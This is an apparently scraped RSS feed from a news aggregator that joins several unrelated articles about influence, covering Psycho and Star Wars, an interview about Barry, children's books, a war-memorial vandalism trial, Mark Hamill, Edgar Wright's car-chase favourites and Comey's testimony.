If this is a startling finding, perhaps it shouldn’t be. In fact, as Matthew Stewart has written in this magazine, intergenerational mobility in the U.S.—in essence, a person’s likelihood of being more financially successful than his or her parents—has declined over the past several decades. By one common measure, the relationship between a person’s financial well-being and her parents’ is stronger in the U.S. than in almost any other developed country. “In America,” Stewart writes, “the game is half over once you’ve selected your parents.” Add Charles and his colleagues’ findings, then, to the rising pile of evidence countering the idea that Americans, simply by virtue of being American, can rise above their station.

]]> https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/feed/ 0 How Alfred Hitchcock’s ‘Psycho’ Influenced ‘Star Wars’ https://briefnews.eu/how-alfred-hitchcocks-psycho-influenced-star-wars/ https://briefnews.eu/how-alfred-hitchcocks-psycho-influenced-star-wars/#respond Sat, 14 Apr 2018 08:39:05 +0000 http://briefnews.eu/how-alfred-hitchcocks-psycho-influenced-star-wars/

(Welcome to The Movies That Made Star Wars, a series where we explore the films that inspired George Lucas’ iconic universe. In this edition: Alfred Hitchcock’s masterpiece Psycho.)

Alfred Hitchcock was a master of suspense and one of the masterpieces of his oeuvre was the 1960 film Psycho, starring Anthony Perkins and Janet Leigh. From the beginning, it tells the story of a woman named Marion Crane as played by Janet Leigh. She’s stolen a sum of money from her boss and finds herself on the run. She checks into an out of the way hotel in Arizona and meets a man named Norman Bates. This is the last man she’d ever meet. She’s murdered by Norman’s mother and then the story shifts almost completely to Norman’s perspective. Will he be able to help his mother get away with the murder?

It doesn’t sound like the sort of film that would have had a meaningful impact on Star Wars, but you’d be surprised where George Lucas and the teams making Star Wars films could draw influence and put it to good use.

The MacGuffin

There’s no doubt that this film, among all of the films Hitchcock made, influenced cinema and filmmakers like George Lucas. Hitchcock invented the term “MacGuffin” and added it to the vocabulary of cinema. Just in case you’ve never heard the term before, a MacGuffin is an item, object, or idea that motivates the protagonists but gets very little narrative explanation or weight. In the 2004 DVD commentary of A New Hope, George Lucas refers to Artoo-Detoo as a MacGuffin. Lucas and Hitchcock definitely differed on the importance of a MacGuffin in their approaches, though. Hitchcock used them as almost disposable, mysterious items with little explanation. George Lucas felt they should have higher stakes, once telling Vanity Fair that he believes that “the MacGuffin should be powerful and that the audience should care about it almost as much as the dueling heroes and villains on-screen.”

Which is why we get Artoo with the message from Leia and the plans to the Death Star itself. In Psycho, the MacGuffin is the money Marion stole from her employer. It puts her on the road and into harm’s way. But the money becomes unimportant as soon as Marion is murdered and gets drowned with her in the swamp, never to be seen again. For Hitchcock, it set the story in motion and never mattered again.

The Borrowed Musical Cue

One of the most major influences on A New Hope from a Hitchcock film came from a musical cue in Psycho, though it might not seem outwardly apparent.

This particular influence comes from one of the film’s editors, Paul Hirsch. Hirsch was the editor who worked for the longest period of time on Star Wars. One of the things an editor will do is lay temporary tracks of music on the soundtrack so they have a rhythm they can cut to. In The Making of Star Wars, Hirsch recounts one of the most infamous examples and how it forever influenced Star Wars. “The scene where they pop out of the hatch in the Falcon, I laid in a very famous piece of Psycho music there. It was a three-note motif that [Martin] Scorsese insisted that [Psycho composer Bernard Herrmann] use in Taxi Driver. It was a dark, ominous three-note motif. Curiously enough, Johnny [Williams]-I don’t know if he did it deliberately or what–but it’s now incorporated into his cue for that moment in [Star Wars].”

Hirsch went on to win an Academy Award for his work editing Star Wars, alongside Richard Chew and Marcia Lucas.

It just goes to show how influential editors can be on the overall shape of a film, even in decisions that were designed to be temporary. And it proves how a soundtrack, no matter how iconic, can filter in, note-for-note-for-note into an equally iconic soundtrack.

Sympathetic Bad Guys

Psycho really is a masterpiece of cinema and there’s no question that it influenced filmmaking from the moment of its release and beyond, even into today. It played with narrative and shifts in point-of-view and really got you to root for and empathize for a bad guy. Was Norman simply dealt a bad hand with his mother, much like Anakin? It’s possible.

The Anakin we know is abused by his masters despite his kind an nurturing personality. His slave masters shape this into a competitive streak, then his Jedi masters shape him into a blade, both against his better nature. Both Anakin and Norman begin, presumably, as good and nurturing people, broken by the loss of their mothers and abusive systems. In Norman’s case, it was his mother who was abusive, in Anakin’s case, it’s the nature of his enslavement and the Jedi Order.

Both films ask us to sympathize with monsters and they’re better for it.

When Anakin is revealed beneath the helmet of Darth Vader in Return of the Jedi, it’s a moment spiritually borrowed from Psycho where we see the real killer is just a damaged man in a costume. Although we all understand that both of these characters were evil, we can’t help but want them whole after these reveals.

How Psycho Influenced Star Wars

Coda

Psycho might be one of the best of films in Alfred Hitchcock’s filmography. Shot on a shoestring budget with the crew from his television series, Hitchcock set out to challenge himself and, in turn, he challenged an audience to watch a film made of pure cinema. The editing in Psycho (save for the last ten minutes) is sharp and something any student of film should study. The film is tense and startling in equal measure, grim to be sure. Hitchcock is playing with the audience with every shot and it’s an amazing thing to see. It’s not a flawless Hitchcock film, by any means, but that doesn’t mean it’s not great.

For those interested in a well-rounded view of cinema and to a small piece of Star Wars inspiration, Psycho is definitely a movie that should be high on your watchlist if you haven’t seen it. And if you have, it’s always the right time to go back and revisit the work of the Master of Suspense.

The post How Alfred Hitchcock’s ‘Psycho’ Influenced ‘Star Wars’ appeared first on /Film.

]]> https://briefnews.eu/how-alfred-hitchcocks-psycho-influenced-star-wars/feed/ 0 Bill Hader and Alec Berg on How ‘Fargo’ and ‘Boogie Nights’ Influenced ‘Barry’ [Interview] https://briefnews.eu/bill-hader-and-alec-berg-on-how-fargo-and-boogie-nights-influenced-barry-interview/ https://briefnews.eu/bill-hader-and-alec-berg-on-how-fargo-and-boogie-nights-influenced-barry-interview/#respond Sat, 24 Mar 2018 11:18:47 +0000 http://briefnews.eu/bill-hader-and-alec-berg-on-how-fargo-and-boogie-nights-influenced-barry-interview/ barry review

Imagine you’re staring down the barrel of a gun, and the man pulling the trigger is the guy who played Stefon on Saturday Night Live. Of course in the world of Barry, no one knows Bill Hader from TV and he’s playing Barry, a professional hitman. On a job in L.A., Barry discovers an acting class taught by Gene Cousineau (Henry Winkler) and decides he wants to give up the killing business to explore this new field. Suffice it to say, the hitman is not a business you leave by simply giving your two weeks notice.

Hader and Silicon Valley producer Alec Berg created Barry. They spoke with /Film about the dark, violent crime comedy. Barry premieres Sunday, March 25 on HBO after the season premiere of Silicon Valley.

What came first, the hitman or the acting class?

Hader: Hitman. I went, “What if I played a hitman?” and Alec went, “Ugh.” But we talked about it more and I said, “Well, it’s kind of more grounded and real, not just a glib thing you’ve seen a bunch, like the guy in the skinny tie with two guns.”

Berg: We also thought there was something really interesting about somebody who has a skill set that makes them really good at something that they derive absolutely no pleasure from at all.

Hader: It actually is hurting them.

Berg: And then they happen on something that they might be terrible at but they kind of love it.

I can relate to that. Being an entertainment journalist is a great job, but I hate doing lists. I happen to be good at lists so if people need lists I end up doing lists to pay the bills. Is there a corresponding thing for you, there are performances they need that you can give, or shows you can develop that they want?

Hader: Yeah, exactly. It would be like if your lists destroyed people’s lives.

Berg: But that’s what’s kind of fun I think. It’s hopefully what people get behind and why they root for the character. He doesn’t really know too much about it but he does have this kind of innate sense that what he’s doing for a living is not good for him and it’s definitely not good for those people that he’s killing. He has this sense of there has to be some other way.

If you started with the hitman, was part of it that no one would cast you as an action hero and you wanted to do that?

Hader: Exactly. “We want to see you as a sad sack hitman” was not a thing I was ever put on the list for so I went, “I’m going to write my own version of that.” Even when we told HBO, I was like, “What if I was a hitman?” They were like, “Um, you?”

Berg: We kind of always approach the hitman world like he’s a traveling salesman or something where. Without maki it depressing, it should feel like a dead end job where he has to travel through regional airports. He derives absolutely no pleasure from it at all. We never wanted to shoot the violence in any kind of cool [way].

Hader: No, we didn’t want the violence to be cool at all. It should be just what it is which is kind of sad and abrupt and cruel and terrible. And seeing how his violence affects other people. These bad people he kills, they have relatives and loved ones. He’s kind of realizing, “Jesus, what did I do?”

What was the tone you wanted to hit with Barry?

Hader: That was what we talked about most of the time. What’s the tone of this? It really was just kind of trial and error of what can you sustain and can you still be funny after this scene? Or, vice versa. A lot of that was in the writing and editing, just going, “Gosh, we had this scene but now it feels a little too rough. Maybe dial back this.”

Berg: I think we talked about Fargo is definitely a movie that is really funny but also really violent and dark.

Hader: Boogie Nights was another one that we talked about, especially the acting world.

Berg: The kind of group of misfits who find each other.

Hader: That kind of story where it can be really funny one minute and the next minute be really heartbreaking. Those were the benchmarks I guess.

Does the tone evolve over the first season?

Hader: I would say it gets a little bit more suspenseful.

Berg: Yeah, but I wonder. It’s interesting, I think that’s a function of the story as well. There are more plates spinning.

Hader: He constantly gets more plates spinning and then when one plate breaks, five more appear. He’s constantly trying to juggle all these things.

Is Henry Winkler’s character based on any of your acting teachers?

Hader: No. I didn’t really have any. I just went to an improv class in L.A. so my teachers were all really nice. No, this was more we were just talking about certain types of people, an out of work actor kind of guy. In that theater, he’s God but then the minute he leaves, he’s just an out of work actor. We just thought that was an interesting character for him to play. We always had Henry pretty early on in our minds to play that part. Then we visited some acting classes and had seen the way the teacher would work with them and sometimes would break them down and make them cry, something really awful to get a performance out of them.

Berg: And then the actor who was sobbing at the end of the exercise would be incredibly grateful to this person who had just emotionally beat the snot out of them.

Hader: That was very weird.

Berg: “Thank you so much. That was amazing.” It’s a really interesting Stockholm Syndrome kind of relationship. Again, we did a bunch of research. There’s Stella Adler and a lot of these kind of larger than life acting gurus.

Have any pages of Cousineau’s book been written?

Hader: There was, props wrote some of it and we didn’t realize that props had written any of it until there was a closeup in the edit bay and our editor started laughing really hard. We go, “What?” He said, “Did you read what was in here?” We hadn’t read it. Just his story, because it’s him writing it, it was just in his voice. That’s what happens when you have really funny props people who just totally got the character and just sat down. I think no one would see unless you paused it.

Did it make the cut?

Berg: I think so.

Hader: It’s in there for like three seconds.

Will we see more of Cousineau outside of class?

Hader: Yeah, you see a little bit more of him outside of class.

Are you picking the monologues and scenes for the classroom that you would actually like to perform?

Hader: No. The thing in the pilot with Ryan (Tyler Jacob Moore), that monologue, that was something Alec saw a guy do in an acting class. He did the Gary Oldman True Romance scene. The stuff in episode four, Glengarry Glenn Ross, that was almost more out of necessity for what the scene needed to do.

Berg: It’s chicken and the egg. Sometimes we just think this would be a hilarious thing to have somebody do in the scene and sometimes it’s like we need a piece that lets Barry explore a certain area, or this story is about this so what if there were something in the class that deals with that same issue in some way?

Hader: Even the actors, because they’re all actors, when we were doing the pilot, Sarah Goldberg was doing a different monologue and we couldn’t get it because it’s really expensive. Then she texted, “In my acting class, everyone did that monologue from Magnolia, Julianne Moore. Everyone did that scene.” We never would have thought of that but she’s like, “Oh, I have experiences, either that or Girl, Interrupted.” There’s all these kind of go to monologues that acting classes do so we thought that was fun.

Continue Reading Barry Showrunner Interview >>

The post Bill Hader and Alec Berg on How ‘Fargo’ and ‘Boogie Nights’ Influenced ‘Barry’ [Interview] appeared first on /Film.

]]> https://briefnews.eu/bill-hader-and-alec-berg-on-how-fargo-and-boogie-nights-influenced-barry-interview/feed/ 0 12 children’s books that influenced highly successful people https://briefnews.eu/12-childrens-books-that-influenced-highly-successful-people/ https://briefnews.eu/12-childrens-books-that-influenced-highly-successful-people/#respond Tue, 30 Jan 2018 17:29:55 +0000 http://briefnews.eu/12-childrens-books-that-influenced-highly-successful-people/ Tony Robbins book journal readingBrian Ach/AP Images

We all have our favorite children’s books that have shaped who we are.

Even highly successful people can appreciate the enduring impact various childhood stories have had on their lives.

Here are the 12 best and most influential children’s books, according to some highly successful people.

‘The Harry Potter’ Series by J.K. Rowling

Scholastic

A series that needs no introduction, “Harry Potter” has brought millions of fans worldwide together to celebrate the story’s magical, yet entirely relatable, world of witchcraft and wizardry.

Adam Grant, a professor of management at Wharton, told Business Insider that J.K. Rowling is perhaps the most influential person alive.

“There’s a lot of originality in the ‘Harry Potter’ stories: The way to get to Hogwarts, all of the different ideas about how to cast spells, children being the individuals who are responsible for saving adults — all of that is setting a standard for saying, ‘I want to do something new,'” he said.

Find it here »

‘The Little Prince’ by Antoine de Saint-Exupery

Harcourt, Brace, & World

“The Little Prince” is the story of a stranded pilot that meets a young Prince from outer space. It is an allegorical tale of the author’s real life experiences when fleeing to North America during World War II. 

Robert Grimminck of List Verse reported that actor “James Dean deeply identified with the book and took it with him any time he moved.”

Grimminck said that the book was so important to Dean that his good friend and biographer William Bast wrote about it in an inscription on Dean’s memorial near his crash site.

The inscription includes Dean’s favorite line from the book: “What is essential is invisible to the eye.” 

Find it here »

‘Goodnight Moon’ by Margaret Wise Brown

Harper Festival

Brown’s poetic story of a bunny saying goodnight to all of his inanimate belongings is one that inspires blessings and gratitude.

“I just love the idea of blessing everything that’s near and dear to you before you go to sleep with a simple ‘Goodnight,'” Gwyneth Paltrow told Oprah Magazine. 

Find it here »


See the rest of the story at Business Insider

]]> https://briefnews.eu/12-childrens-books-that-influenced-highly-successful-people/feed/ 0 'We were influenced by Pope Francis,' say men who vandalized Australian war memorial https://briefnews.eu/we-were-influenced-by-pope-francis-say-men-who-vandalized-australian-war-memorial/ https://briefnews.eu/we-were-influenced-by-pope-francis-say-men-who-vandalized-australian-war-memorial/#respond Mon, 24 Jul 2017 13:37:57 +0000 http://briefnews.eu/we-were-influenced-by-pope-francis-say-men-who-vandalized-australian-war-memorial/ Four Australians who were found guilty of vandalism for removing a brass sword from a war memorial told a court that their actions were inspired by Pope Francis, referencing a message in which the pontiff said that religion cannot be used to justify war.

The men were convicted on Monday of vandalizing the memorial – which consists of a stone crucifix and a brass “sword of sacrifice” – in Brisbane’s Toowong cemetery on Ash Wednesday, March 1.

One of the defendants, 61-year-old James Joseph Dowling, told the Brisbane magistrates court ahead of the Monday ruling that Pope Francis had “influenced” them to remove the sword from the monument.

Read more

© Stand with the Sisters

“We were influenced by Pope Francis’s words…where he said religion can never be used to justify war, and peace alone is holy,” Dowling said, as quoted by the Australian Associated Press.

“To actually go as far as to remove Jesus from the cross and replace it with a sword was the ultimate desecration of this symbol of our faith.”

Dowling said he and his partners in crime “had nothing against the memorial,” but wanted to make it better by removing the sword and using an anvil to transform it into a garden hoe.

“We didn’t set out to destroy or damage it, we wanted to transform it and improve it, which is what we did,” he said.

The 61-year-old admitted that he came up with the idea and drove the group to the cemetery. He said he brought the necessary tools, along with banners which displayed religious verses. He and the men sang a hymn as the sword was removed.

However, Dowling denied being the group’s ringleader.

Last week, the court viewed a series of short clips and pictures, which showed Dowling and accomplice Tim Webb removing the brass sword.

The footage showed Dowling scaling the cross, cutting the 1.8 meter sword free with a hacksaw after he failed to remove it with a crowbar.

Webb is then seen using a mallet and anvil to beat the sword into a plough shape.

Read more

© Bürger für Erfurt

Speaking to police on the day of the incident, Dowling admitted to removing the sword. When asked whether he was authorized to do so, he said he had “higher permission.”

Dowling and Webb were accompanied at the scene of the crime by Dowling’s son Franz and a man by the name of Andrew Paine. All of the men are reportedly members of the Catholic Workers Movement.

Following the Monday verdict, Dowling and Webb were ordered to pay AU$ 17,812 (US$ 14,155) in repairs between them, the Brisbane Times reported. 

Dowling also received a three-month jail term, suspended for three months, and was ordered to complete 100 hours of community service. Webb also received 100 hours of community service.

Paine, who video-taped the vandalism and emailed a press release informing the media of the incident, was convicted and fined AU$ 1,500 (US$ 1,192).

Dowling’s son Franz, who played guitar and sang hymns during the protest, was fined $ 1,000. However, no conviction was recorded.

During the sentencing, Queensland chief magistrate Ray Rinaudo told the men that they “simply cannot do this with impunity and think you can hide behind your beliefs. It doesn’t work like that.”

Outside the court on Monday, Dowling said their civil disobedience was simply part of a tradition dating back to Jesus Christ, Martin Luther King, and Mahatma Gandhi.

“We are just carrying on that tradition, by doing something which might seem shocking but it is not the wrong thing to do,” he said, apologizing to any veterans who were offended by the action.

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]]> https://briefnews.eu/we-were-influenced-by-pope-francis-say-men-who-vandalized-australian-war-memorial/feed/ 0 Star Wars 8: Mark Hamill reveals how Alec Guinness Obi-Wan Kenobi influenced The Last Jedi https://briefnews.eu/star-wars-8-mark-hamill-reveals-how-alec-guinness-obi-wan-kenobi-influenced-the-last-jedi/ https://briefnews.eu/star-wars-8-mark-hamill-reveals-how-alec-guinness-obi-wan-kenobi-influenced-the-last-jedi/#respond Thu, 20 Jul 2017 10:11:38 +0000 http://briefnews.eu/star-wars-8-mark-hamill-reveals-how-alec-guinness-obi-wan-kenobi-influenced-the-last-jedi/

fans will have noticed a few parallels between the original trilogy and the new sequel trilogy.

Back in 1977’s A New Hope it was Sir Alec’s Obi-Wan who played mentor to a young Luke Skywalker.

Now however the upcoming The Last Jedi will see Hamill’s character become the older Jedi who his apprentice Rey will look up to.

Taking on the position, Yahoo! Movies asked the star at Disney D23 how the late Guinness had influenced his performance.

Hamill revealed: “I was completely in awe of [Sir Alec Guinness].

“But in terms of studying him for this film: I channeled his dignity and his composure. 

“But Obi-Wan has a much different backstory than Luke, so although there are many similarities, you have to really sort of take ownership of your own character.”

Fans have been wondering if , last seen at the end of Return of the Jedi, will make an appearance.

After all, both Obi-Wan and Yoda’s voices were heard in Star Wars: The Force Awakens and the first teaser for The Last Jedi.

Star Wars Episode VIII: The Last Jedi will be released in UK cinemas on December 14, 2017.

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]]> https://briefnews.eu/star-wars-8-mark-hamill-reveals-how-alec-guinness-obi-wan-kenobi-influenced-the-last-jedi/feed/ 0 Edgar Wright Gushes About 10 Movies That Influenced ‘Baby Driver’: Part 2 https://briefnews.eu/edgar-wright-gushes-about-10-movies-that-influenced-baby-driver-part-2/ https://briefnews.eu/edgar-wright-gushes-about-10-movies-that-influenced-baby-driver-part-2/#respond Fri, 30 Jun 2017 15:17:48 +0000 http://briefnews.eu/edgar-wright-gushes-about-10-movies-that-influenced-baby-driver-part-2/ Edgar Wright - Movies That Inspired Baby Driver

Leading up to the release of Baby Driver, director Edgar Wright was a guest programmer at the British Film Institute for a series of films under the banner Car Car Land. The filmmaker rounded up 10 of the movies that influenced Baby Driver in some way for cinephiles in London to enjoy. Since not everyone can attend those screenings and hear all the wonderful things he has to say about these movies, some of which he introduced himself, we wanted to hear from the man himself why he loves these movies and how they inspired his new film, which is being called a “dazzling car chase musical.”

A little over a week ago, we had an extensive phone call with Edgar Wright where he laid down his passion for these 10 movies and provided some fun facts. Since this is such an extensive conversation, we’ve split it up into two parts.

Below is part two of this feature, which covers the second five movies, and you’d do well to read the first part before you go any further.

First of all, here’s Edgar Wright explaining how he chose the films for BFI’s Car Car Land season:

What I did with this season is I picked movies that had car chases of my youth. So there are not as many recent ones because I capped it where I started making movies myself, which was around 1994. I chose the car chases that really inspired me when I was younger. Because I had the original idea for Baby Driver in 1995 so I was thinking about the films up until that point.

Let’s get right into the next batch of movies that inspired Baby Driver and why Edgar Wright loves them so much. Anything below that appears in italics (other than the titles) is me – everything else is Wright in his own words.

Freebie and the Bean

Freebie and the Bean (1974)

Why Edgar Loves It: Freebie and the Bean is not technically a car chase movie, it’s sort of an all around mayhem movie. It arrives in the same year as The Super Cops and also Starsky & Hutch, but it’s clearly the template for Lethal Weapon and the extravagant buddy movies of the 1980s. I’ve seen this with a crowd at the Alamo Drafthouse once, and it completely kills on the big screen, partly because the mayhem in it is so brilliantly over the top. Particularly there’s a shot where James Caan is shooting a bad guy from one glass elevator to another, and you see this amazing wide shot of two elevators outside a hotel with cops and bad guys shooting from one elevator to the other, and it’s almost Naked Gun territory, except it looks beautiful.

The car chase in the movie, as a little kid I remember seeing clips of this film when it was playing on TV, and it’s exactly the kind of movie that I had to see. Jumping through trains, cars crashing through walls, there’s literally a point where James Caan gets on a motorcycle and knocks over an oversize domino set. The rest of the movie in terms of James Caan and Alan Arkin’s performances, as well as Alex Rocco as their boss, they’re all really funny performances with some insanely huge gags. The director Richard Rush went on to do The Stuntman, which has a sort of epic scale and almost like silent movie era sight gags. It’s a mixed bag of a movie of parts I cannot defend and then bits of action and comedy that I absolutely love.

Baby Driver Note: Though the action is certainly a driving forced behind getting some butts into the seats to see Baby Driver, it should be noted that all of the performances, from the lead Ansel Elgort to the lovely waitress Lily Collins, to the robbery crews played by Jamie Foxx, Jon Hamm, Eiza Gonzalez, to the boss played by Kevin Spacey and Baby’s deaf roommate C.J Jones, are absolutely fantastic.

Edgar’s Fun Fact: There’s a reason that it was on TV late at night, because if you actually watch it, it’s a terribly non-PC movie with a couple of racial jokes and a not particularly well-handled gay killer in the movie as well. I cannot defend that part of the movie, because it’s totally politically incorrect by today’s standards.

Smokey and the Bandit

Smokey and the Bandit (1977)

Why Edgar Loves It: Smokey and the Bandit was the movie I was most bummed to miss on the big screen with this season of programming. It’s one of those films that I’ve seen on TV a bunch of times, but I’ve never seen on the big screen.

In its day in 1977, it was the second highest grossing film that summer after Star Wars. In the program for the BFI, I said it’s the end of that 1970s era of movies that came after Bonnie and Clyde in 1967 and sort of started with Easy Rider and went through Vanishing Point and Dirty Mary Crazy Larry. By the time you got to Smokey and the Bandit, that 1970s is over, and now you’ve got just a complete popcorn movie about bootleggers and bandits, and it’s just a fun movie. It’s not very deep, but it’s totally entertaining. They Jerry Reed song is ridiculously catchy. You also have so many fun performers, obviously having too much of a good time. Sally Field, Jackie Gleason, Mike Henry as Jackie Gleason’s nephew Junior.

Baby Driver Note: When I was shooting Baby Driver in Atlanta, some of these actors are doing Southern accents, and I used to make my director of photography Bill Pope laugh, because my attempt at a Southern accent was impersonating Jackie Gleason from Smokey and the Bandit. I would say, “There is no way in hell that you could come from my loins,” which is what he would say to Junior.

Edgar’s Fun Fact: Famously, or kind of infamously, somewhere in the Universal vault there is a version of Smokey and the Bandit 3 where Jackie Gleason played both the sheriff and the bandit. Smokey and the Bandit 3 was called Smokey is the Bandit. They make reference to it in Bill & Ted’s Bogus Journey. Jackie Gleason played both parts, they shot the movie that way, they even had a teaser trailer for that version of the movie. Test audiences were so bewildered by it, that they reshot half the movie and had Jerry Reed playing Cledus Snow. Then at the end of the movie, they shot a Burt Reynolds cameo to explain everything. But somewhere in the Universal vault must be that version of the movie.

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]]> https://briefnews.eu/edgar-wright-gushes-about-10-movies-that-influenced-baby-driver-part-2/feed/ 0 FBI’s Comey says he is “mildly nauseous” to think he influenced election https://briefnews.eu/fbis-comey-says-he-is-mildly-nauseous-to-think-he-influenced-election/ https://briefnews.eu/fbis-comey-says-he-is-mildly-nauseous-to-think-he-influenced-election/#respond Wed, 03 May 2017 17:53:52 +0000 http://briefnews.eu/fbis-comey-says-he-is-mildly-nauseous-to-think-he-influenced-election/

Enlarge / FBI Director James Comey testifies Wednesday before the Senate Judiciary Committee on Capitol Hill in Washington, DC. (credit: Jim Watson/Getty Images)

FBI Director James Comey told a Senate panel on Wednesday that it would have been “catastrophic” for the bureau to not have disclosed in October, just 11 days before the presidential election, that the agency was revisiting the Hillary Clinton e-mail scandal.

The Clinton presidential campaign and many Democrats have suggested that Comey’s announcements helped cement rival Donald Trump’s win over Clinton.

Comey told the Senate Judiciary Committee on Wednesday that such an assertion doesn’t sit well with him.

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Ars Technica

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